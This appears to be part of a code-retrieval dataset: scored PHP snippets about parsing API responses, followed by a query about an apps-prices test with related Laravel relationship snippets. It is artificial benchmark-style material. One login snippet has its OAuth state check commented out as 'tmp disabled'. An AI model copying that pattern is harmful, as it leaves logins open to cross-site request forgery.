"docid": "d4d1b2f173373a8944a2b517409ae571", "score": "0.59025365", "text": "function prepare_response() {\n\t$args = isset( $_POST['args'] ) ? wp_unslash( $_POST['args'] ) : [];\n\t$page = isset( $args['page'] ) ? absint( $args['page'] ) : 1;\n\t$post_count = isset( $args['post_count'] ) ? absint( $args['post_count'] ) : 10;\n\n\t// Get the template markup.\n\tob_start();\n\tjuicer_feed( $post_count, $page );\n\t$output = trim( ob_get_clean() );\n\n\tif ( '' === $output ) {\n\t\treturn new \\WP_Error( 'juicer_end_of_feed', __( 'There are no more posts to load.', 'hm-juicer' ) );\n\t} else {\n\t\t$output = str_replace( [ '<ul class=\"' . juicer_get_wrapper_classes() . '\">', '</ul>' ], '', $output );\n\t}\n\n\t$response = new \\stdClass();\n\t$response->body = $output;\n\t$response->page = $page;\n\t$response->post_count = $post_count;\n\n\treturn $response;\n}", "title": "" }, { "docid": "b61dae12ef9ee86db30b7e43564b09ba", "score": "0.59009576", "text": "function bibdk_reservation_borchk_parse_response($response, $acceptOrderFromUnknownUser, $acceptOrderAgencyOffline) {\n $message = array(\n 'error' => NULL,\n 'status' => NULL\n );\n switch ($response) {\n case 'ok' :\n return;\n break;\n case 'borrower_not_found' :\n if ($acceptOrderFromUnknownUser) {\n $message['status'] = t('Borrower not found, but Library accepts reservations from unknown users', array(), array('context' => 'bibdk_reservation'));\n }\n else {\n $message['error'] = t('User not found', array(), array('context' => 'bibdk_reservation'));\n }\n break;\n case 'error_in_request' :\n case 'service unavailable' :\n case 'borrowercheck_not_allowed' :\n default :\n if ($acceptOrderAgencyOffline) {\n $message['status'] = t('We could not check your status', array(), array('context' => 'bibdk_reservation'));\n }\n else {\n $message['error'] = t('Service Unavailable. We can not make reservation right know', array(), array('context' => 'bibdk_reservation'));\n }\n break;\n }\n\n return $message;\n}", "title": "" }, { "docid": "e754ef285ee91b6ea1f87c36636d2749", "score": "0.5900496", "text": "protected function _handleResponse()\n {\n if (!Netresearch_OPS_Model_Status::isCapture($this->getStatus())) {\n Mage::throwException(Mage::helper('ops')->__('%s is not a capture status!', $this->getStatus()));\n }\n\n /** @var Mage_Sales_Model_Order_Payment $payment */\n $payment = $this->getMethodInstance()->getInfoInstance();\n /** @var Mage_Sales_Model_Order $order */\n $order = $payment->getOrder();\n\n\n /**\n * Basically we have to check the following things here:\n *\n * Order state - payment_review suggests an already existing intermediate status\n * - pending_payment or new suggests no feedback yet\n *\n * payment status - intermediate and not failed -> move to payment review or add another comment\n * - intermediate and failed -> if recoverable let the order open and place comment\n * - finished - finish invoice dependent on order state\n */\n\n if (Netresearch_OPS_Model_Status::isIntermediate($this->getStatus())) {\n $this->processIntermediateState($payment, $order);\n } else {\n // final means state 9 or 95\n $this->processFinalState($order, $payment);\n }\n\n if ($this->getShouldRegisterFeedback()) {\n $this->registerFeedBack($payment, $order);\n }\n }", "title": "" }, { "docid": "be27405a533ab1538f3b25b39c5feeac", "score": "0.58854514", "text": "private function parseResult(): void\n\t{\n\t\tforeach ($this->response['results'] as $index => $deviceResults) {\n\n\t\t\t// If it's not send, we need to log the token\n\t\t\tif (!$this->isSent($deviceResults)) {\n\n\t\t\t\t// Check if the token has changed, so it can be changed internally\n\t\t\t\tif (!$this->tokenNeedsModification($index, $deviceResults)) {\n\n\t\t\t\t\t// Check if the token has to be deleted\n\t\t\t\t\t$this->tokenNeedsDeletion($index, $deviceResults);\n\n\t\t\t\t\t// Check if we can retry sending the message\n\t\t\t\t\t$this->needToRetry($index, $deviceResults);\n\n\t\t\t\t\t// Check if the token has no registration\n\t\t\t\t\t$this->tokenLacksRegistration($deviceResults);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "db92a623ae470488cbfcca47b4c51f81", "score": "0.5884679", "text": "private function response($response)\n\t{\n\t\tswitch ($this->responseType) {\n\t\t\tcase 'json':\n\t\t\t\treturn $this->json($response);\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase 'xml':\n\t\t\t\treturn $this->xml($response);\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'csv':\n\t\t\t\treturn $this->csv($response);\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'serialized':\n\t\t\t\treturn $this->serialize($response);\n\t\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "5a2db14d932412e82a8c37bf96f9fa2c", "score": "0.5878401", "text": "private function __parseResult($result){\n\t\ttry {\n\t\t\t$result = Xml::toArray(Xml::build($result->body));\n\t\t} catch (XmlException $e) {\n\t\t\treturn $this->__error($e->getMessage());\n\t\t}\n\t\tif (empty($result)) {\n\t\t\treturn $this->__error('Empty Response.');\n\t\t}\n\t\t$responseArray = (isset($result['results']) && is_array($result['results']) ? $result['results'] : $result);\n\t\t$responseArray = $this->responseCleanAttr($responseArray);\n\t\t# extract status\n\t\t$good = (isset($responseArray['status']['code']) && $responseArray['status']['code']==\"ok\");\n\t\tif ($good) {\n\t\t\treturn $responseArray;\n\t\t}\n\t\t# extract errors\n\t\t// no login error, send 'no-login' so we can try again.\n\t\tif (isset($responseArray['status']['subcode'])) {\n\t\t\treturn $responseArray['status']['subcode'];\n\t\t}\n\t\t$invalid = Set::extract($responseArray, \"/status/invalid\");\n\t\tif (!empty($invalid)) {\n\t\t\tforeach ( $invalid as $_invalid ) {\n\t\t\t\t$this->__error(\"INVALID: {$_invalid['invalid']['field']}: {$_invalid['invalid']['subcode']}\");\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\t$statusCodes = Set::extract($responseArray, \"/status\");\n\t\tforeach ( $statusCodes as $statusCode ) {\n\t\t\tif (isset($statusCode['status']['subcode'])) {\n\t\t\t\t$this->__error(\"{$statusCode['status']['code']}: {$statusCode['status']['subcode']}\");\n\t\t\t} elseif ($statusCode['status']['code']!='no-data') {\n\t\t\t\t$this->__error(\"CODE: {$statusCode['status']['code']}\");\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "43e5c1ae26d218635d5b789aee5ce91c", "score": "0.5869163", "text": "public static function parse($response) {\n\t \n\t\t$responseArray = explode(\"&\", $response);\n\t \n\t\t$result = array();\n\t \n\t\tif (count($responseArray) > 0) {\n\t\t\tforeach ($responseArray as $i => $value) {\n\t \n\t\t\t\t$keyValuePair = explode(\"=\", $value);\n\t \n\t\t\t\tif(sizeof($keyValuePair) > 1) {\n\t\t\t\t\t$result[$keyValuePair[0]] = urldecode($keyValuePair[1]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t \n\t\tif (empty($result)) {\n\t\t\t$result = null;\n\t\t} else {\n\t\t\t$result = (object) $result;\n\t\t}\n\t \n\t\treturn $result;\n\t}", "title": "" }, { "docid": "78569e8857de21d0fce185c20651114b", "score": "0.5850923", "text": "public function processResponse($response, $options = []);", "title": "" }, { "docid": "9c51b79b015c3d187e915d79dbf4c6c2", "score": "0.58423215", "text": "private function parseResponse( $response ) \n\t{\n\t\t$result\t= array();\n\t\t$lines\t= explode( \"\\n\", $response );\n\t\tforeach ( $lines as $line ) \n\t\t{\n\t\t\t$parts\t\t\t= explode('=', $line, 2);\n\t\t\t$key\t\t\t= isset($parts[0]) ? $parts[0] : NULL;\n\t\t\t$value\t\t\t= isset($parts[1]) ? $parts[1] : NULL;\n\t\t\t$result[$key]\t= $value;\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "c2f2fa8085bfc69ab29469c856d08c18", "score": "0.5834551", "text": "protected function parseResponse($response)\n {\n $address = array(\n 'district' => array_get($response, 'bairro'),\n 'street' => array_get($response, 'logradouro'),\n 'state' => array_get($response, 'uf'),\n 'city' => array_get($response, 'localidade'),\n 'country' => 'Brasil'\n );\n\n return $address;\n }", "title": "" }, { "docid": "c2975145da600d6450aee6a66fb7a4a1", "score": "0.58235097", "text": "public function parseLoginResponse()\n {\n $accessToken = null;\n if ($this->getRequest()->get('code') !== null) {\n // TODO: tmp disabled\n// if (\n// $this->getRequest()->get('state') === null\n// || !isset($_SESSION['state'])\n// || $this->getRequest()->get('state') != $_SESSION['state']\n// ) {\n// $msg = 'State doesnt match in request and response';\n// $this->getLogger()->error(\n// $msg,\n// [\n// 'object' => $this,\n// ]\n// );\n//\n// throw new BaseApiException($msg);\n// }\n\n $accessToken = $this->generateAccessTokenFromCode($this->getRequest()->get('code'));\n } elseif ($this->getRequest()->get('error') !== null) {\n $msg = 'Failed to parse response from API with error:' . $this->getRequest()->get('error_description');\n $this->getLogger()->error(\n $msg,\n [\n 'object' => $this,\n 'error' => $this->getRequest()->get('error'),\n 'error_desc' => $this->getRequest()->get('error_description'),\n ]\n );\n\n throw new BaseApiException($msg);\n }\n\n if ($accessToken === null) {\n $msg = 'Strange response was given from API';\n $this->getLogger()->error(\n $msg,\n [\n 'object' => $this,\n ]\n );\n\n throw new BaseApiException($msg);\n }\n\n return $accessToken;\n }", "title": "" }, { "docid": "6c7ec98097621b5beede5b82affa6f6b", "score": "0.5821472", "text": "function processCurlResponse($response)\n {\n $result_array = parent::processCurlResponse($response);\n $this->response_in_data_format = $result_array;\n return $result_array;\n }", "title": "" }, { "docid": "106b0138409d66c6f77777fdceabefae", "score": "0.581477", "text": "public function post_handle($response) {\n // Try to capture Zend faults and map them to our custom faults.\n $xml = simplexml_load_string($response);\n if ($xml->getName() != 'response') {\n $message = @$xml->xpath('//message');\n $status = @$xml->xpath('//status');\n\n if ($message and $status) {\n $status = strtolower($status[0]);\n\n if ((ctype_alpha($status) and $status != 'success') or !((bool) $status)) {\n $dom = $this->fault((string) $message[0]);\n $response = $dom->saveXML();\n }\n }\n }\n return $response;\n }", "title": "" }, { "docid": "94629e51e801b8e8eb7675203fb6fd8a", "score": "0.5812424", "text": "public function parseHttpResponse($response)\n {\n $headers = array();\n if (false === strpos($response, \"\\r\\n\\r\\n\")) {\n return array('headers' => array(), 'body' => $response);\n }\n\n list($headerContent, $bodyContent) = explode(\"\\r\\n\\r\\n\", $response, 2);\n\n foreach (explode(\"\\r\\n\", $headerContent) as $i => $header) {\n if ($i === 0) {\n $headers['http_code'] = $header;\n } else {\n list($headerName, $value) = explode(': ', $header);\n $headers[$headerName] = $value;\n }\n }\n\n return array(\n 'headers' => $headers,\n 'body' => $bodyContent,\n );\n }", "title": "" }, { "docid": "3db4bcea4d515b6088c5f80ce34e90e7", "score": "0.58004755", "text": "public function getQueryResponse() \n {\n $this->meta['response'] = $this->getResponse();\n parse_str($this->meta['response'], $response);\n return $response;\n }", "title": "" }, { "docid": "40a99c38e75e762a6d6ac24946e92b46", "score": "0.5799993", "text": "abstract protected function parse_request();", "title": "" }, { "docid": "eb650cac7df3cdd91296db1b86b3a42e", "score": "0.57946163", "text": "public function onResponseParseFailed(string $responseData, Request $request): string { }", "title": "" }, { "docid": "ae83fef7002edd0b6f26748dc8b8ad8b", "score": "0.57701993", "text": "protected function parse($responseWithHeader) {\n # Extract headers from response\n $pattern = '#HTTP/\\d\\.\\d.*?$.*?\\r\\n\\r\\n#ims';\n preg_match_all($pattern, $responseWithHeader, $matches);\n $headers = explode(\"\\r\\n\", str_replace(\"\\r\\n\\r\\n\", '', array_pop($matches[0])));\n\n # Extract the version and status from the first header\n $version_and_status = array_shift($headers);\n preg_match('#HTTP/(\\d\\.\\d)\\s(\\d\\d\\d)\\s(.*)#', $version_and_status, $matches);\n $this->_headers['Http-Version'] = $matches[1];\n $this->_headers['Status-Code'] = $matches[2];\n $this->_headers['Status-Message'] = $matches[2].' '.$matches[3];\n $this->_headers['Error-Message'] = ($this->_headers['Status-Code'] != 200) ? $matches[3] : '';\n\n # Convert headers into an associative array\n foreach ($headers as $header) {\n preg_match('#(.*?)\\:\\s(.*)#', $header, $matches);\n $this->_headers[$matches[1]] = $matches[2];\n }\n\n # Remove the headers from the response body\n $this->_raw = preg_replace($pattern, '', $responseWithHeader);\n }", "title": "" }, { "docid": "3fefc24eff6374501653af1bfa66203f", "score": "0.57655984", "text": "public function decode_response($response)\n {\n $lines = explode(\"\\n\", $response);\n $out = array();\n\n foreach ($lines as $line) {\n $parts = explode('=', $line, 2);\n if (count($parts) == 2) {\n $out[trim($parts[0])] = trim($parts[1]);\n }\n }\n\n foreach (array('charge', 'days', 'err_msg') as $key) {\n if ( ! isset($out[$key])) $out[$key] = null;\n }\n\n return $out;\n }", "title": "" }, { "docid": "14e22c72d7cf32a492053e9230d4d303", "score": "0.57517195", "text": "protected function parse() {\n if ($this->method == 'POST') {\n $concepts = array();\n $attributes = array();\n $include = array();\n if(isset($this->request['concepts'])) $concepts = $this->request['concepts'];\n if(isset($this->request['attributes'])) $attributes = $this->request['attributes'];\n if(isset($this->request['include'])) $include = $this->request['include'];\n\n if(isset($this->request['fileId']))\n {\n $text = $_SESSION['files'][$this->request['fileId']]['contents'];\n }\n else $text = $this->request['text'];\n\n $parser = new Parser($text, false, $concepts, $attributes, $include);\n\n return $parser->toArray();\n } else {\n return array('error' => 'Only accepts POST requests');\n }\n }", "title": "" }, { "docid": "fdbeb4b811f0cefa34a2ff860853365d", "score": "0.5749276", "text": "public function responseMsg()\n {\n $postStr = $GLOBALS[\"HTTP_RAW_POST_DATA\"];\n\n //extract post data\n if (!empty($postStr)){\n\n $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);\n $RX_TYPE = trim($postObj->MsgType);\n\n switch($RX_TYPE)\n {\n case \"text\":\n $resultStr = $this->handleText($postObj);\n break;\n case \"event\":\n $resultStr = $this->handleEvent($postObj);\n break;\n default:\n $resultStr = \"Unknow msg type: \".$RX_TYPE;\n break;\n }\n echo $resultStr;\n }else {\n echo \"\";\n exit;\n }\n }", "title": "" }, { "docid": "2a151ae0c0df19eb41a32b1fc315ac7b", "score": "0.5743752", "text": "public function parseToken(): string\n {\n return $response = $this->parse($this->request);\n }", "title": "" }, { "docid": "03bbba65320666058fdf97c3725f1b19", "score": "0.5736202", "text": "public function handleResponse($response)\n {\n return $response;\n }", "title": "" }, { "docid": "c1c86cb596691a40a10027b581e58bb5", "score": "0.5734944", "text": "abstract public function getResponse();", "title": "" }, { "docid": "508094b2946054fb5bd8c38504d5525b", "score": "0.57308334", "text": "abstract public function parse();", "title": "" }, { "docid": "d3546c7346895a57095b4cc25b40e300", "score": "0.5727665", "text": "public function processRawResponse($response)\n {\n return (string) $response;\n }", "title": "" }, { "docid": "176b9c2298e8a385d243e91b7c7246f6", "score": "0.5709899", "text": "private function processAPIResponse(Response $response, $result)\n {\n // decode the XML response body\n $decode = $this->decodeRequest($response);\n\n if ( $response->getStatusCode() == 200 AND\n isset($decode[$result]['Request']['IsValid']) AND\n $decode[$result]['Request']['IsValid'] == 'True' )\n {\n return $decode;\n }\n\n $this->determineError($decode, $result);\n }", "title": "" }, { "docid": "0a2b005ba4a0b7a953503f046bf6707c", "score": "0.5705536", "text": "protected function parseSoapResponse($response)\n {\n $arrayResponse = (new ParseSoapResponse())->parse($response);\n\n return array_shift($arrayResponse);\n }", "title": "" }, { "docid": "48303cac385ce5563d9a2f0eeb0cdd2f", "score": "0.5703562", "text": "function extract_response($rawresponse, $nameprefix) {\n /// This function is obsolete. It is only used during the database\n /// upgrade to version 2005030100 to extract the responses from the\n /// legacy answers field. Question types written after this date do not\n /// need to implement this member.\n\n /// Returning a single value indicates that the value should remain\n /// stored in the legacy answer field in the quiz_states table (was\n /// quiz_responses).\n\n /// Question types which implement their own response storage with\n /// a question type specific table must return an associative array\n /// of responses (without the name prefix) and in this case the update\n /// script will call the save_session_and_responses member to save\n /// the responses using the new mechanism.\n\n /// Default behaviour that works for singleton response question types\n /// like SHORTANSWER, NUMERICAL and TRUEFALSE and legacy question types\n /// which have not changed their response storage model\n\n return $rawresponse->answer;\n }", "title": "" }, { "docid": "21a5dabae915ef162dfeef5625bf17e8", "score": "0.5698142", "text": "function parse_return($content)\r\r\n\t\t{\r\r\n\t\t\t$refId = $this->substring_between($content,'<refId>','</refId>');\r\r\n\t\t\t$resultCode = $this->substring_between($content,'<resultCode>','</resultCode>');\r\r\n\t\t\t$code = $this->substring_between($content,'<code>','</code>');\r\r\n\t\t\t$text = $this->substring_between($content,'<text>','</text>');\r\r\n\t\t\t$status = $this->substring_between($content,'<status>','</status>');\r\r\n\t\t\t$subscriptionId = $this->substring_between($content,'<subscriptionId>','</subscriptionId>');\r\r\n\t\t\treturn array ($status, $refId, $resultCode, $code, $text, $subscriptionId);\r\r\n\t\t}", "title": "" }, { "docid": "4cf355eaa4e9fa2085344ceca8e49812", "score": "0.5692525", "text": "public function response( $response ) {\n\t\treturn rest_ensure_response( $response );\n\t}", "title": "" }, { "docid": "0cb3b4f4da86b83c63c47f2c84f67def", "score": "0.569217", "text": "public abstract function getResponse();", "title": "" }, { "docid": "0cb3b4f4da86b83c63c47f2c84f67def", "score": "0.569217", "text": "public abstract function getResponse();", "title": "" }, { "docid": "1a35df58723867f4cafe8b4b6ff487d4", "score": "0.56910866", "text": "protected function process()\n {\n if ($this->apiType == 'soap') {\n\n $cleanXML = $this->removeNamespaceFromXML($this->response);\n\n $this->response = json_decode(json_encode(simplexml_load_string($cleanXML)));\n }\n\n return $this->response;\n }", "title": "" }, { "docid": "0e3f49a8541e647568766bd774394006", "score": "0.5690882", "text": "protected function parseResponseForRefreshedToken($response)\n {\n $authorization = $response->getHeader(\"authorization\");\n\n if($authorization) {\n $this->token = substr($authorization[0], 7);\n }\n }", "title": "" }, { "docid": "085eaa9e27e8e5743a5116229d7a6ce5", "score": "0.56842214", "text": "public function responseMsg() {\n $postStr = $GLOBALS[\"HTTP_RAW_POST_DATA\"];\n //extract post data\n if (!empty($postStr)) {\n //libxml_disable_entity_loader is to prevent XML eXternal Entity Injection,\n //the best way is to check the validity of xml by yourself \n libxml_disable_entity_loader(true);\n $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);\n $msgType = $postObj->MsgType;\n switch ($msgType) {\n case 'text':\n $this->receiveText($postObj);\n break;\n case 'event':\n $this->receiveEvent($postObj);\n break;\n default:\n break;\n }\n }\n }", "title": "" }, { "docid": "2447d65fba1985ac12fa87861209ae48", "score": "0.567352", "text": "private function parseResponse($response, $module_row = null, $ignore_error = false) {\r\r\n\t\tLoader::loadHelpers($this, array(\"Html\"));\r\r\n\t\t\r\r\n\t\t// Set the module row\r\r\n\t\tif (!$module_row)\r\r\n\t\t\t$module_row = $this->getModuleRow();\r\r\n\t\t\r\r\n\t\t$success = true;\r\r\n\t\t\r\r\n\t\tif(empty($response) || !empty($response['error'])) {\r\r\n\t\t\t$success = false;\r\r\n\t\t\t$error = (isset($response['description']) ? $response['description'] : Language::_(\"GoGetSSL.!error.api.internal\", true));\r\r\n\t\t\t\r\r\n\t\t\tif (!$ignore_error)\r\r\n\t\t\t\t$this->Input->setErrors(array('api' => array('internal' => $error)));\r\r\n\t\t}\r\r\n\t\r\r\n\t\t// Log the response\r\r\n\t\t$this->log($module_row->meta->api_username, serialize($response), \"output\", $success);\r\r\n\t\t\r\r\n\t\tif (!$success && !$ignore_error)\r\r\n\t\t\treturn;\r\r\n\t\t\r\r\n\t\treturn $response;\r\r\n\t}", "title": "" }, { "docid": "6393a7ef725b297d9242198850290cf7", "score": "0.56692195", "text": "public function providerParseCurlResponse()\n {\n return [\n 'when body contains HTTP header then separate header and body' => [\n [\n 'header' => \"HTTP/1.1 200 OK\\r\\nCache-Control: private, max-age=0\\r\\nContent-Length: 61936\\r\\n\\r\\n\",\n 'body' => \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?><soap:Envelope xmlns:soap=\\\"http://www.w3.org/2003/05/soap-envelope\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xmlns:xsd=\\\"http://www.w3.org/2001/XMLSchema\\\"><soap:Body><DemandHistoryResponse xmlns=\\\"http://api.ris.itmh.local/B2CRegress/\\\"><Mem> 46.48.112.193 - - [01/Sep/2013:15:08:47 +0200] \\\"POST wp-login.php HTTP/1.0\\\" 301 555 \\\"referer-domain.tld\\\" \\\"Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20130101 Firefox/19.0\\\"\\r\\n\\r\\n</Mem></DemandHistoryResponse></soap:Body></soap:Envelope>\"\n ],\n \"HTTP/1.1 200 OK\\r\\nCache-Control: private, max-age=0\\r\\nContent-Length: 61936\\r\\n\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?><soap:Envelope xmlns:soap=\\\"http://www.w3.org/2003/05/soap-envelope\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xmlns:xsd=\\\"http://www.w3.org/2001/XMLSchema\\\"><soap:Body><DemandHistoryResponse xmlns=\\\"http://api.ris.itmh.local/B2CRegress/\\\"><Mem> 46.48.112.193 - - [01/Sep/2013:15:08:47 +0200] \\\"POST wp-login.php HTTP/1.0\\\" 301 555 \\\"referer-domain.tld\\\" \\\"Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20130101 Firefox/19.0\\\"\\r\\n\\r\\n</Mem></DemandHistoryResponse></soap:Body></soap:Envelope>\"\n ]\n ];\n }", "title": "" } ]
c887c8757854a9b01cc2fdb18d028a61
Test case for appsPricesGetToManyRelated .
[ { "docid": "2c5102776ae9b69e8635b79a6a307b85", "score": "0.8917489", "text": "public function testAppsPricesGetToManyRelated()\n {\n }", "title": "" } ]
[ { "docid": "03c0b9f8cf598afeb996628c526223cb", "score": "0.8184282", "text": "public function testAppsInAppPurchasesGetToManyRelated()\n {\n }", "title": "" }, { "docid": "8f5f1107b149ca52b2ca39390c70c78e", "score": "0.8075516", "text": "public function testAppsPerfPowerMetricsGetToManyRelated()\n {\n }", "title": "" }, { "docid": "ea93b1dbc26e95ee58c2b6c5121e4ea0", "score": "0.7991883", "text": "public function testAppsAppStoreVersionsGetToManyRelated()\n {\n }", "title": "" }, { "docid": "8ca689ad5a53b4a36655c856862a7c1a", "score": "0.7922914", "text": "public function testAppsAppInfosGetToManyRelated()\n {\n }", "title": "" }, { "docid": "4ccaa7b575be3c7560d67fb63fd4c1af", "score": "0.77955425", "text": "public function testAppsGameCenterEnabledVersionsGetToManyRelated()\n {\n }", "title": "" }, { "docid": "13078e6c33053551c95c307a1e62aff7", "score": "0.77132696", "text": "public function testAppsPreReleaseVersionsGetToManyRelated()\n {\n }", "title": "" }, { "docid": "5fce3ca33d806ecaee8c4985bf2fe779", "score": "0.7585374", "text": "public function testAppsBuildsGetToManyRelated()\n {\n }", "title": "" }, { "docid": "24e2e9e704b09c8f5a9e94c3807b2e42", "score": "0.75312716", "text": "public function testAppsAvailableTerritoriesGetToManyRelated()\n {\n }", "title": "" }, { "docid": "4b1efbb06e0198920b9811a6203db850", "score": "0.74208593", "text": "public function testAppsBetaAppLocalizationsGetToManyRelated()\n {\n }", "title": "" }, { "docid": "c34c6670d1b50867d8c0ccf075cade58", "score": "0.7334554", "text": "public function testAppsBetaGroupsGetToManyRelated()\n {\n }", "title": "" }, { "docid": "5ca0a5e5df660c4e23c0148542f8f75a", "score": "0.6265107", "text": "public function getRelatedProducts($id);", "title": "" }, { "docid": "b76161b9cfd792b5fc83682e39cacbd1", "score": "0.62596524", "text": "public function testGetRelated_HasMany()\n {\n // collections\n $carsCollection = $this->database->getCollection('cars');\n $wheelsCollection = $this->database->getCollection('wheels');\n \n // add documents\n $carDocument = $carsCollection\n ->createDocument(array('param' => 'value'))\n ->save();\n \n // add target documents\n $wheelDocument1 = $wheelsCollection\n ->createDocument(array(\n 'car_id' => $carDocument->getId()\n ))\n ->save();\n \n // add target document\n $wheelDocument2 = $wheelsCollection\n ->createDocument(array(\n 'car_id' => $carDocument->getId()\n ))\n ->save();\n \n // test \n $this->assertArrayHasKey((string) $wheelDocument1->getId(), $carDocument->wheels);\n $this->assertArrayHasKey((string) $wheelDocument2->getId(), $carDocument->wheels);\n }", "title": "" }, { "docid": "879d5ac35e7e56b20e37f2e31d1507cb", "score": "0.61236185", "text": "public function prices(): HasMany\n {\n return $this->hasMany(config('ecommerce.models.price'));\n }", "title": "" }, { "docid": "88366f44ba013f4e08f96bc101a1a173", "score": "0.6048233", "text": "public function testAppsPreOrderGetToOneRelated()\n {\n }", "title": "" }, { "docid": "3eb389d3207ebddbb87581cab58d2ea9", "score": "0.59881294", "text": "public function prices()\n {\n return $this->hasMany('App\\Price');\n }", "title": "" }, { "docid": "10e213a73363ac5351d880776ad3b290", "score": "0.5958219", "text": "public function testAppsBetaTestersDeleteToManyRelationship()\n {\n }", "title": "" }, { "docid": "b4c694e9069f919d6be19183609fdc81", "score": "0.5908982", "text": "public function price(){\n return $this->hasManyThrough('App\\Colis','App\\FicheColis','id_fiche','id_colis', 'id_fiche', 'id_colis');\n }", "title": "" }, { "docid": "ca81e2f634c54ea2a8caa51ca4646090", "score": "0.5906644", "text": "public static function getHasMany();", "title": "" }, { "docid": "6f07405201472d9e287a52c43ad5354a", "score": "0.59030694", "text": "public function testAppsBetaAppReviewDetailGetToOneRelated()\n {\n }", "title": "" }, { "docid": "fb500172f58399548947054f2c8c0e35", "score": "0.5840759", "text": "public function test_getBaseQueryHasMany() {\n\t\t$Model = $this\n\t\t\t->getMockBuilder('Model')\n\t\t\t->disableOriginalConstructor()\n\t\t\t->getMock();\n\n\t\t$Associated = $this\n\t\t\t->getMockBuilder('Model')\n\t\t\t->disableOriginalConstructor()\n\t\t\t->getMock();\n\t\t$Associated->alias = 'Post';\n\n\t\t$Listener = $this\n\t\t\t->getMockBuilder('RelatedModelsListener')\n\t\t\t->disableOriginalConstructor()\n\t\t\t->setMethods(array('_model', '_hasTreeBehavior'))\n\t\t\t->getMock();\n\t\t$Listener\n\t\t\t->expects($this->never())\n\t\t\t->method('_model');\n\t\t$Listener\n\t\t\t->expects($this->once())\n\t\t\t->method('_hasTreeBehavior')\n\t\t\t->with($Associated)\n\t\t\t->will($this->returnValue(false));\n\n\t\t$this->setReflectionClassInstance($Listener);\n\t\t$result = $this->callProtectedMethod('_getBaseQuery', array($Associated, 'hasMany'), $Listener);\n\t\t$expected = array();\n\t\t$this->assertEquals($expected, $result);\n\t}", "title": "" }, { "docid": "99cb2613a7274fbef395ac0b426f26d2", "score": "0.5823335", "text": "public function prices()\n {\n return $this->hasMany(Price::class, 'price_list_type_id', 'id');\n }", "title": "" }, { "docid": "9f8973b386b37bf61eb3b584638ddd01", "score": "0.5815877", "text": "public function extras()\n {\n return $this->hasMany('App\\Price')\n ->where('availability_id', 0)\n ->where('extra', 1);\n }", "title": "" }, { "docid": "5a5219bb7081b4eddd56e97d0a97c428", "score": "0.58017427", "text": "public function price(){\n return $this->hasManyThrough('App\\Colis','App\\TransitColis','id_colis','id_colis', 'id_transit', 'id_transit');\n }", "title": "" }, { "docid": "94e0cfdb76c91f9c369b032b09f19136", "score": "0.572234", "text": "public function test_findRelatedItems() {\n\t\t$Model = $this\n\t\t\t->getMockBuilder('Model')\n\t\t\t->disableOriginalConstructor()\n\t\t\t->setMethods(array('find'))\n\t\t\t->getMock();\n\n\t\t$Listener = $this\n\t\t\t->getMockBuilder('RelatedModelsListener')\n\t\t\t->disableOriginalConstructor()\n\t\t\t->setMethods(array('_hasTreeBehavior'))\n\t\t\t->getMock();\n\n\t\t$query = array(\n\t\t\t'conditions' => array('Model.is_active' => true)\n\t\t);\n\n\t\t$data = array(\n\t\t\tarray('Model' => array('id' => 1))\n\t\t);\n\n\t\t$Listener\n\t\t\t->expects($this->once())\n\t\t\t->method('_hasTreeBehavior')\n\t\t\t->with($Model)\n\t\t\t->will($this->returnValue(false));\n\t\t$Model\n\t\t\t->expects($this->once())\n\t\t\t->method('find')\n\t\t\t->with('list', $query)\n\t\t\t->will($this->returnValue($data));\n\n\t\t$this->setReflectionClassInstance($Listener);\n\t\t$result = $this->callProtectedMethod('_findRelatedItems', array($Model, $query), $Listener);\n\t\t$expected = $data;\n\t\t$this->assertEquals($expected, $result);\n\t}", "title": "" }, { "docid": "e67dd6a56013e2cb82db400d46d82b87", "score": "0.5712043", "text": "public function testGetRelated_HasMany_EmptyRelation()\n {\n // collections\n $carsCollection = $this->database->getCollection('cars');\n\n // add documents\n $carDocument = $carsCollection\n ->createDocument(array('param' => 'value'))\n ->save();\n\n // test\n $this->assertEquals(array(), $carDocument->wheels);\n }", "title": "" }, { "docid": "612503ad68b102eb5a2a1d2d0acda252", "score": "0.5658265", "text": "public function test_fetchMany() {\n\n }", "title": "" }, { "docid": "1ad3f1d978c6643c974124ffde8ee13e", "score": "0.56403965", "text": "public function related()\n {\n return $this->belongsTo(MagentoProduct::class, 'related_product_id');\n }", "title": "" }, { "docid": "4b41b642328a925c9970bd95ef69a593", "score": "0.561924", "text": "public function getRelatedProductsById($productId);", "title": "" }, { "docid": "9c573b48db732a13342176169a32e23e", "score": "0.55778813", "text": "public function testMorphManySetsProperConstraints()\n {\n $this->getManyRelation();\n }", "title": "" }, { "docid": "d0c97ae7a57888839d40f3377742f375", "score": "0.55765086", "text": "function getRelatedEntities($connector)\n{\n\n $request = $connector->getRelatedEntities($connector->entity('Product', 12));\n /* Take only 10 items */\n $request->resultsOptions()->take(10);\n// $request->relationKind('similar'); // this line is commented because \"helloworld\" engine does not support relationKind yet\n \n // CODE SAMPLE END\n\n /* Actually perform the request */\n $response = $connector->query($request);\n\n /* Print all results in this response. */\n echo 'Taken items:' . PHP_EOL;\n foreach ($response->getResults() as $entity) {\n $id = $entity->getId();\n $title = $entity->getAttribute('Title');\n echo $id . ': ' . $title . PHP_EOL;\n }\n}", "title": "" }, { "docid": "c75b6965fa7d12aa37094a4466fe968c", "score": "0.5556077", "text": "public function testGETPriceListIdPrices()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", 